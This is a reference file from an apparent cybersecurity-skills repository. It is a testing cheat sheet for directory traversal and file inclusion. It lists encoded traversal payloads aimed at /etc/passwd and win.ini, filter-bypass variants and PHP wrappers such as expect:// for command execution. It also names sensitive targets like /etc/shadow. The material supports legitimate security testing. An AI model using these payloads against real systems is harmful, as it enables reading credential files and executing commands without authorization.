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Anthropic-Cybersecurity-Skills/skills/performing-directory-traversal-testing/references/api-reference.md
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mukul975 27c6414ca5 Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders
2026-03-10 21:02:12 +01:00

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API Reference: Performing Directory Traversal Testing

Traversal Payload Encodings

Encoding Example Description
Plain ../../../etc/passwd Standard Unix traversal
URL-encoded ..%2f..%2f..%2fetc%2fpasswd Single URL encoding
Double-encoded ..%252f..%252f Bypass WAF single-decode
UTF-8 overlong ..%c0%af..%c0%af Bypass charset-based filters
Backslash (Windows) ..\\..\\..\\windows\\win.ini Windows path traversal
Mixed separators ..././..././ Bypass recursive stripping

PHP Wrapper Protocols (LFI)

Wrapper Description
php://filter/convert.base64-encode/resource= Read file as base64
php://input Read from POST body
expect:// Execute system command
data://text/plain;base64, Inline data injection
file:/// Direct file access

Vulnerability Indicators

File Content Indicator
/etc/passwd root:x:0:0:
win.ini [fonts], [extensions]
/proc/self/environ Environment variables
/etc/shadow Hashed passwords (critical)

requests Library

Method Description
requests.get(url, allow_redirects=False) Send traversal payload
urllib.parse.urlencode(params) Encode parameters with payloads
urllib.parse.urlparse(url) Parse URL to extract parameters

Key Libraries

  • requests (pip install requests): HTTP client for payload delivery
  • urllib.parse (stdlib): URL parsing and parameter manipulation

OWASP Testing Guide

Test ID Description
WSTG-ATHZ-01 Testing for Directory Traversal / File Include

References